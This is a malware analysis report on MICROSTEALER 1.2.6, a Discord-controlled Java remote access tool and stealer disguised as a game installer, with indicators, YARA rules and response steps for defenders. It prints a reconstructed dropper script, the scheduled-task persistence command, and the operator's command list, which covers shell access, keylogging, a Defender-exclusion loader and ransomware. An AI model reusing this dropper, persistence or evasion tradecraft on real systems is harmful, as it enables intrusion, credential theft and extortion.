MICROSTEALER 1.2.6: a Discord-bot RAT in a game’s clothing

The second BRITTLE COMPASS build. A Java remote access tool that runs its operator’s commands from a Discord server and keeps a ransomware option.

Assessment. A Java remote access tool and stealer behind an Electron “game” that never opens. It takes orders from a Discord server where each victim gets a channel, and gives the operator a shell, a keylogger, extra download paths and an optional ransomware command. High confidence, from static analysis and lab runs that exercised 11 of its 27 commands.

Anyone who ran it should assume the operator could control the machine, and rebuild it.

Note Source summary. My own static analysis of the 1.2.6 installer and its Java payload, recovered by two methods that agree on the command surface, persistence and branding, plus instrumented lab runs against an emulated Discord server (reliability A, credibility 2: two methods on the same file corroborate each other but aren’t independent sources; see How I rate things). Public reporting from ANY.RUN and BleepingComputer victims for the family name, graded under References. It’s the second of three builds served by the BRITTLE COMPASS lure.

Type
malware
Status
unknown
Confidence
high
First seen
2026-10-14
Related names
Micro Stealer, Micro Special Edition, Dev7 Gang
contents
  1. From the lure to a game that never opens
  2. Staging: an Electron app that is only a delivery truck
  3. Inside services.jar
  4. First run: checking in on Discord
  5. What it takes automatically
  6. Staying: a scheduled task for every later logon
  7. The operator's panel
  8. Detection and response
  9. Indicators
  10. ATT&CK mapping
  11. References

From the lure to a game that never opens #

Same site, same password, same download button as the 1.2.5 build. This time the installer, <game>-Setup-1.2.6.exe, is 117 MB, and it installs into a random-looking folder, %LOCALAPPDATA%\Programs\jw431rd9\, while the installer’s own screens show the game’s name throughout. Anyone hunting for a folder named after the game misses every one of these machines.

The victim double-clicks the game. Nothing happens. A report of “I ran it and nothing happened” is an accurate description of this build: no window, no error, nothing. Half a second later the Electron process exits, and the malware is already running somewhere else.

Staging: an Electron app that is only a delivery truck #

The application’s app.asar contains exactly two files: a package.json and one obfuscated script, y8e2alfn.js. A real game has hundreds of files in there. Under roughly 190 KB of two obfuscation layers (obfuscator.io inside JS-Confuser), the script does one job. Reconstructed by hand, with every string decoded:

// y8e2alfn.js, reconstructed. The original is ~190 KB of obfuscation around this.
async function main() {
  const base     = app.isPackaged ? process.resourcesPath : __dirname;
  const localApp = process.env.LOCALAPPDATA;
  const stage    = path.join(localApp, "java");                 // %LOCALAPPDATA%\java
  fs.cpSync(path.join(base, "java"), path.join(stage, "java"),   // a whole Java 17 runtime
            { recursive: true, force: true });
  fs.copyFileSync(path.join(base, "services.jar"),               // the actual malware
                  path.join(stage, "services.jar"));
  spawn(path.join(stage, "java", "bin", "javaw.exe"),
        ["-jar", path.join(stage, "services.jar")],
        { detached: true, stdio: "ignore", cwd: stage }).unref();
  setTimeout(() => app.quit(), 500);                             // and the "game" closes
}
app.whenReady().then(main);

(formatted for readability)

So the installer ships a complete Eclipse Temurin 17 runtime (316 files) and an 11.9 MB services.jar, copies both into %LOCALAPPDATA%\java\, and starts the JAR with javaw.exe, which has no console window.

The runtime looks like a stock upstream build. Across both early installers there are 145 Windows executables: 101 are validly signed and verify, none has a broken signature, and the other 44 are unsigned, among them the branded Electron executable and the installer’s own uninstaller stub. None is packed, and I found no operator-compiled native code among them. Signature, packer and import-table triage alone won’t point at the malicious part, which is in the script and the JAR. Manifest changes and where things are put still help (the 1.2.5 page publishes a manifest-based rule).

What a defender can catch here: javaw.exe running from \AppData\Local\java\java\bin\ is the best process signal I have for this build. Java installed the normal way doesn’t use that path, though other software could, so confirm against the JAR’s hash.

Inside services.jar #

The JAR is an obfuscated Kotlin/Java application. Its bundled libraries tell you its job before you decompile anything: Gson for Discord’s API, SQLite JDBC for browser databases, nv-websocket-client for the Discord gateway, OkHttp for Discord’s REST API, and JNA for calling Windows directly.

Three layers of obfuscation sit on top: method calls hidden behind invokedynamic and resolved at runtime from encrypted metadata, AES-CBC string encryption under a PBKDF2-derived key, and control-flow flattening. Driving the obfuscator’s own resolver resolved 11,224 of 11,384 hidden call sites and decrypted 636 strings, including the kit’s branding:

=========<Micro Stealer>==========
Micro Special Edition
DEV7 GANG
zarox-uac   zarox-uac2   zarox-unlock   MicroPrivate-Mutex-Release   Win32-InputLogger

That branding is how the family is tracked publicly: ANY.RUN lists a MicroStealer family [1], though its page aggregates many submissions and I haven’t matched this exact sample to any of them, and victims on BleepingComputer report a “DEV7 GANG” pop-up asking whether they want their accounts back [2].

One more string matters more than the branding. 3,108 of the JAR’s 3,112 class files, third-party libraries included, carry the text MicroFlow 4.0 as their first constant-pool entry. Nothing references it. That looks like a builder watermark, stamped by whatever tool assembled the JAR. It’s a useful pivot for finding other output of the same builder, even without shared infrastructure, but it isn’t a guaranteed identifier of every product of that builder or of its author. I found no public obfuscator by that name.

The payload also refuses to run in some sandboxes: it checks for a QEMU guest agent and for a list of known analysis-service host names.

First run: checking in on Discord #

When the JAR starts, it logs into Discord as a bot, using a bot credential packaged inside the JAR, with the gateway intents for reading messages (33280) and a client identity of java. Then it creates a text channel for this victim on the operator’s server, under a fixed category, named after the victim:

<username>-<hostname>        Windows user and computer name, lowercased (lab)

The new channel gets a “System Online (New Channel Created)” message and the full command panel (below). Then the payload collects and ships its first haul, to two places at once:

  • a Discord webhook, and
  • a Cloudflare Worker relay, sa.microdenmem.workers[.]dev, under a path built from a licence identifier packaged in the JAR, of the form license-<14 digits>-<4 hex>.

A licence-keyed path lets one relay keep many users’ stolen data apart. That fits a kit sold to many customers, which is part of the moderate-confidence commercial-tooling assessment on the actor page. The path itself doesn’t prove a sale.

It does all of this again every time it starts, not just the first time.

What a defender can catch here: javaw.exe connecting to gateway.discord.gg on a normal endpoint, and the HTTP user agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) DiscordBot (Java/17). Uploads use the multipart boundary xMicro.

What it takes automatically #

Less than you’d guess. In the lab, with files planted across every user folder, the automatic collector took a screenshot, browser history and only .txt files from Desktop, Documents and Downloads. It left .env, .pem, .ppk, .ovpn, .rdp, .kdbx, spreadsheets and source code alone, and took nothing from Pictures, Music or Videos.

That’s a real scoping point, with one big caveat: the operator’s !cmd shell can fetch any file the payload’s privileges can reach afterwards, so a machine the operator actually used is not cleared by it.

I found no wallet collector in this build, statically or in the lab. Its report template does have a “Wallets” counter that nothing feeds, so it always reads zero. That could be a leftover from an earlier version, an unfinished or disabled feature, or a copied template; I can’t tell which without code to compare.

Its credential theft is broad: 30 Chromium-family and 15 Gecko-family browsers, Discord tokens lifted from the running client’s memory, and Chrome’s App-Bound Encryption beaten by impersonating lsass.exe to get SYSTEM and calling the CNG key store directly. It kills the browser before copying its databases.

Staying: a scheduled task for every later logon #

The first run doesn’t wait for anything: the dropper starts the JAR immediately. That first run also creates a scheduled task so it starts again at every later logon:

schtasks /create /tn "App_<username>"
  /tr "\"%LOCALAPPDATA%\java\java\bin\javaw.exe\" -jar \"%LOCALAPPDATA%\java\services.jar\""
  /sc ONLOGON /delay 0000:05 /rl HIGHEST /f

(formatted for readability)

This is the detail that fools triage. After a reboot, with nobody logged in, the payload isn’t running: no process, no network traffic, and the task shows no pending run. A machine in that state looks clean to anyone checking the process list. The moment a user signs in, it fires, re-collects and re-announces itself to the operator. Check the scheduled task, not the process list.

Two more artifacts are useful on a live machine:

  • %TEMP%\micro_run.lock is the single-instance lock. It stays after the process exits, so it means “has run”, not “is running”.
  • In the lab, each start extracted a fresh copy of the SQLite library to %TEMP%\sqlite-3.45.1.0-<GUID>-sqlitejdbc.dll and never deleted it. Several copies are a supporting sign of repeated runs, not an exact count: other Java software uses the same library and name, and cleanup or failed starts change the tally. Correlate the DLL’s hash and timestamps with process events.

The operator’s panel #

This is what the operator sees in each victim’s channel, captured verbatim from the payload’s own help output. The descriptions are the operator’s wording; the right-hand column is what each command did to a real Windows host in the lab, checked against the registry, file system, scheduled tasks and Defender configuration rather than taken from the payload’s reply.

MICROSTEALER’s 27 operator commands
Command Operator’s description Effect, checked on the host
!info System info System summary returned
!net Network & Wi-Fi Passwords Dumps saved Wi-Fi profiles with netsh; returns nothing on a machine without Wi-Fi
!clipboard [text] View/Set clipboard Clipboard returned
!log Key & Window logger (toggle) Keylogger started, tagging keystrokes with window titles
!ss Screenshot Screenshot delivered
!otoss [screen] Auto screenshot (toggle) Not exercised
!relog Reconnect bot Not exercised
!cmd [command] Run shell command Arbitrary command execution, full output returned
!sil [app] Uninstall application (e.g. Steam, Minecraft) Not exercised; uses winget uninstall --silent
!shutdown Shutdown computer Not exercised
!botkapat Stop bot Not exercised
!komutlar (prints this panel) Sent on channel creation
!lock Lock screen Not exercised
!task Toggle Task Manager & Regedit Set DisableTaskMgr=1 and DisableRegistryTools=1
!kill [exe] Terminate process Not exercised; taskkill /F /IM
!sıfırlama Toggle WinRE Recovery Hid the recovery settings page and ran reagentc /disable
!inject Discord token inject Reported success on a machine with no Discord installed and changed nothing
!wp [url] Change desktop wallpaper Downloaded the URL to %APPDATA%\Microsoft\Windows\Themes\wallpaper.bmp: a second download path
!alert [message] Show alert popup Not exercised
!msg [message] Send chat message Not exercised; opens an operator chat window on the victim’s screen
!audio [sec] Record microphone audio (1–30s) Not exercised
!tts [text] Text-to-Speech Not exercised; PowerShell speech synthesis
!web [url] Open site in browser Not exercised
!open [app] Open application Not exercised
!micro [key] Encrypt files Deliberately not run. Renames files to .cryptedmicro, key derived from the operator’s passphrase
!unmicro [key] Decrypt files Deliberately not run
!cookie [exeUrl] [webhookUrl] Download exe → Exclude Defender → Execute → Send data.zip to webhook Saved the download as %LOCALAPPDATA%\svchost<epoch_ms>.exe and excluded all of %LOCALAPPDATA% from Defender

A few things in there deserve a second look.

!inject lies. It reported “Discord injected and logged out” on a machine with no Discord. The operator’s channel is not evidence of what happened on the machine, and that includes channel history obtained from Discord later. Confirm effects on the host.

!cookie is a loader. It downloads and runs another program after excluding the whole local application data folder from Microsoft Defender. Combined with !cmd and !wp, the operator has three ways to put new software on the machine.

Turkish command names. botkapat (“close bot”), komutlar (“commands”) and sıfırlama (“reset”) sit next to English help text. I assess with low confidence that the kit’s author works in Turkish. Command names are cheap to copy and a kit sold internationally would look the same, so this is context, not attribution.

The ransomware is real but manual. It only runs when the operator types !micro with a passphrase, and the key is derived from that passphrase. Victims of .cryptedmicro encryption have been getting help in a BleepingComputer support topic [2].

Detection and response #

To confirm this build, check for the scheduled task App_<username> running javaw.exe -jar from %LOCALAPPDATA%\java\. It’s the most reliable indicator, and it’s there even when nothing is running. A Defender exclusion covering %LOCALAPPDATA% is consistent with the operator’s !cookie command, which adds that exclusion before downloading another program. Other software, an administrator or an earlier infection could set the same exclusion, and the download can fail after it’s set. Before concluding !cookie ran, correlate Defender’s configuration-change events, process ancestry, a %LOCALAPPDATA%\svchost<digits>.exe file and network activity.

If it’s there, or if it might have run, do these now, in order:

  1. Take the machine off the network. If files have been renamed to .cryptedmicro, keep it powered on and preserve them.
  2. From a different, clean device, sign out every session using each provider’s own controls, then change passwords: email first, then Discord, then everything saved in the browser. A password change doesn’t reliably end existing sessions.
  3. On Discord, from that clean device, sign out every session, then remove and re-enroll two-factor so a new secret is issued.
  4. Rebuild the machine. This build supports remote commands, a Defender exclusion and three ways to download and run more software, so removing the original malware can’t establish that the machine is clean. That’s the response posture; whether the operator actually used the shell on this machine is a separate question that only host or network evidence answers.
  5. If a rebuild has to wait, remove persistence explicitly: end javaw.exe, delete the task, delete %LOCALAPPDATA%\java\, re-enable Task Manager, Registry Editor and Windows recovery, remove the Defender exclusion, and uninstall Discord with its data deleted. Uninstalling the “game” isn’t enough, because the installer leaves a full copy of itself at %LOCALAPPDATA%\*-updater\installer.exe.

Across an estate, sweep for modified Discord clients (see the 1.2.5 page) and hunt for Electron apps that ship a private Java runtime next to a JAR. That combination is unusual; treat a hit as a lead and confirm with hashes.

Behavioral detection, most durable first
Signal Telemetry Notes
javaw.exe from \AppData\Local\java\java\bin\ Process creation Very high confidence
Task App_*, ONLOGON, highest run level, action runs a .jar Task creation, TaskScheduler log Very high; survives reboots
New Defender exclusion naming %LOCALAPPDATA% Registry High; set by !cookie in the lab, but other software can set it too
%LOCALAPPDATA%\svchost<digits>.exe File creation Very high; svchost outside System32
Several %TEMP%\sqlite-*-sqlitejdbc.dll File system Medium; supporting sign of repeated runs, shared with other Java software
DisableTaskMgr, DisableRegistryTools, recovery hidden or disabled Registry, reagentc /info High; operator-triggered
Process opening lsass.exe, then reading Chrome’s key store Sysmon EID 10 High
javaw.exe connecting to gateway.discord.gg Network, TLS SNI High on a normal endpoint
User agent DiscordBot (Java/17), multipart boundary xMicro Proxy with TLS inspection High where inspection exists

YARA #

Each rule matched its target. They have not been tested against a broad benign corpus; tune before production use. The watermark rules only work on expanded JARs or process memory, because the classes are compressed on disk.

rule MICROSTEALER_Services_Jar
{
    meta:
        description = "MICROSTEALER services.jar, by ZIP entry names (stored uncompressed): obfuscated root package plus the licence and category resources"
        sha256 = "034c9ac2fae38e38838e6dab23648b4e0b46ec73176bc12eb3147a10ba41add6"
    strings:
        $pkg = "lIiiIiIlill/" ascii
        $l   = "a/b/l.txt" ascii
        $m   = "a/b/m.txt" ascii
    condition:
        uint32(0) == 0x04034B50 and all of them
}

rule MICROFLOW_Builder_Watermark_Class
{
    meta:
        description = "'MicroFlow 4.0' builder watermark as constant-pool entry #1 of a Java class. Identifies the builder, not this operator"
    strings:
        $wm = { 01 00 17 4D 69 63 72 6F 46 6C 6F 77 20 34 2E 30 20 20 20 20 20 20 20 20 20 20 }
    condition:
        uint32be(0) == 0xCAFEBABE and $wm at 10
}

rule MICROSTEALER_Branding_Memory
{
    meta:
        description = "MICROSTEALER self-identifying strings. Encrypted on disk; matches javaw.exe memory, memory images and stolen-data staging files"
    strings:
        $b1 = "=========<Micro Stealer>==========" ascii
        $b2 = "Micro Special Edition" ascii
        $b3 = ".cryptedmicro" ascii
        $b4 = "boundary=xMicro" ascii
        $b5 = "DEV7 GANG" ascii
        $b6 = "zarox-uac" ascii
        $b7 = "zarox-unlock" ascii
        $b8 = "micro_run.lock" ascii
        $b9 = "MicroPrivate-Mutex-Release" ascii
    condition:
        2 of them
}

rule MICROSTEALER_Discord_Injection_Dropped
{
    meta:
        description = "The readable JavaScript MICROSTEALER writes over discord_desktop_core\\index.js"
    strings:
        $a = "Micro Special Edition" ascii
        $b = "remote-auth-gateway.discord.gg" ascii
        $c = "savedTotpSecret" ascii
        $d = "require('./core.asar')" ascii
        $e = "/mfa/codes-verification" ascii
    condition:
        filesize < 4MB and 3 of them
}

Indicators #

Files
Type Indicator Context First seen (UTC)
SHA-256 dc6967987e47d05e936615203365033f6e6dfdc063f64d6627c86c0d4cbdcad4 Installer, <game>-Setup-1.2.6.exe, 117,080,190 bytes 2026-10-14
SHA-256 ebc31f83d0ff5b99160294a2155b63a36d55dea8e2454fddc1c3445b9166fc7c app.asar, 192,863 bytes 2026-10-14
SHA-256 ac2a4a82cd7c2667738b8d402125054f681db3bf54182ac790e4d0382a48d7d4 y8e2alfn.js dropper, 192,211 bytes 2026-10-14
SHA-256 034c9ac2fae38e38838e6dab23648b4e0b46ec73176bc12eb3147a10ba41add6 services.jar, 11,932,613 bytes 2026-10-14
SHA-256 d7098290c4f013c6cbfb731e4db28053e377fdd34f3a41811eccfb485c3efb49 sqlitejdbc.dll extracted to %TEMP% at each start in the lab (genuine library; the location is the signal) 2026-10-14
MD5 b374fa7831cae0910a2ff999461c359e Installer 2026-10-14
Network. The bot credential, webhook token and licence value are withheld
Type Indicator Context First seen (UTC)
Discord bot ID 1549139876107132988 Bot account; created 2026-09-14 per its snowflake 2026-10-14
Discord server ID 1554211553115512832 Operator’s server; created 2026-09-28 2026-10-14
Discord channel ID 1556853802580049920 Category holding the per-victim channels; created 2026-10-06 2026-10-14
Discord webhook ID 1558338561630150676 Receives the stolen-data archive; created 2026-10-10 2026-10-14
Hostname sa.microdenmem.workers[.]dev Exfiltration relay, path /m/license-<14 digits>-<4 hex> 2026-10-14
URL wss://gateway.discord[.]gg/?v=10&encoding=json Discord gateway, used as the command channel 2026-10-14
User agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) DiscordBot (Java/17) Discord REST and gateway 2026-10-14
String xMicro Multipart boundary on uploads 2026-10-14
Host
Type Indicator Context
Path %LOCALAPPDATA%\java\ Staging: private Temurin 17 runtime plus services.jar
Path %LOCALAPPDATA%\Programs\jw431rd9\ Install directory; random name, not the game’s
Path %LOCALAPPDATA%\svchost<epoch_ms>.exe Program downloaded by !cookie
Path %LOCALAPPDATA%\*-updater\installer.exe Installer copy; survives uninstall
Path %APPDATA%\jw431rd9\, %APPDATA%\<game>\ Application data; survive uninstall
Path %TEMP%\micro_run.lock Single-instance lock; stays after exit
Path %TEMP%\sqlite-3.45.1.0-<GUID>-sqlitejdbc.dll One per start in the lab; never removed
Task App_<username> ONLOGON, highest run level, 5-second delay
Registry HKCU\...\Policies\System\DisableTaskMgr = 1, DisableRegistryTools = 1 Set by !task
Registry HKCU\...\Policies\Explorer\SettingsPageVisibility = hide:recovery Set by !sıfırlama
Registry HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\<%LOCALAPPDATA%> Set by !cookie
Command reagentc /disable Disables Windows recovery
String Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} CMSTPLUA UAC-bypass moniker in the code
Extension .cryptedmicro Ransomware output
String com.eyl0muq.akkuoc AppUserModelID
GUID 2c6bc19a-fb96-5252-b697-8ee3f94fc223 Installer GUID

ATT&CK mapping #

Tactic Technique Procedure
Execution User Execution: Malicious File (T1204.002) Fake game installer
Execution Command and Scripting Interpreter: Windows Command Shell (T1059.003) !cmd
Persistence Scheduled Task/Job: Scheduled Task (T1053.005) App_<username> at logon
Persistence Compromise Host Software Binary (T1554) Discord client modification
Privilege Escalation Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002) CMSTPLUA and other routines in the code
Defense Evasion Obfuscated Files or Information (T1027) Hidden calls, encrypted strings, flattened control flow
Defense Evasion Impair Defenses: Disable or Modify Tools (T1562.001) Defender exclusion, Task Manager and Registry Editor disabled
Defense Evasion Hide Artifacts: Hidden Window (T1564.003) javaw.exe, no window
Defense Evasion Masquerading: Match Legitimate Name or Location (T1036.005) svchost<digits>.exe in %LOCALAPPDATA%
Defense Evasion Virtualization/Sandbox Evasion (T1497) QEMU guest-agent and host-name checks
Impact Inhibit System Recovery (T1490) reagentc /disable
Impact Data Encrypted for Impact (T1486) !micro, .cryptedmicro
Credential Access Credentials from Web Browsers (T1555.003) 45 browsers, App-Bound Encryption bypass
Credential Access Credentials from Password Stores (T1555) Saved Wi-Fi profiles
Collection Input Capture: Keylogging (T1056.001) !log
Collection Screen Capture (T1113), Audio Capture (T1123), Clipboard Data (T1115) !ss, !audio, !clipboard
Command and Control Web Service: Bidirectional Communication (T1102.002) Discord bot and per-victim channels
Command and Control Ingress Tool Transfer (T1105) !cookie, !wp
Exfiltration Exfiltration Over Web Service (T1567) Discord webhook and the Cloudflare Worker relay

References #

  1. ANY.RUN, “MicroStealer” malware trends page. any.run (opens in a new tab) (B2 for the family label; not a match to this sample)
  2. BleepingComputer forums, “Stealer Ransomware Plugin-Dev7 Gang (.cryptedmicro) Support Topic”. bleepingcomputer.com (opens in a new tab) (F3: victim reports)

tags

  • rat
  • infostealer
  • ransomware
  • java
  • discord
  • electron
  • fake-game-lure

found an error? send it in. corrections are dated and logged on the page.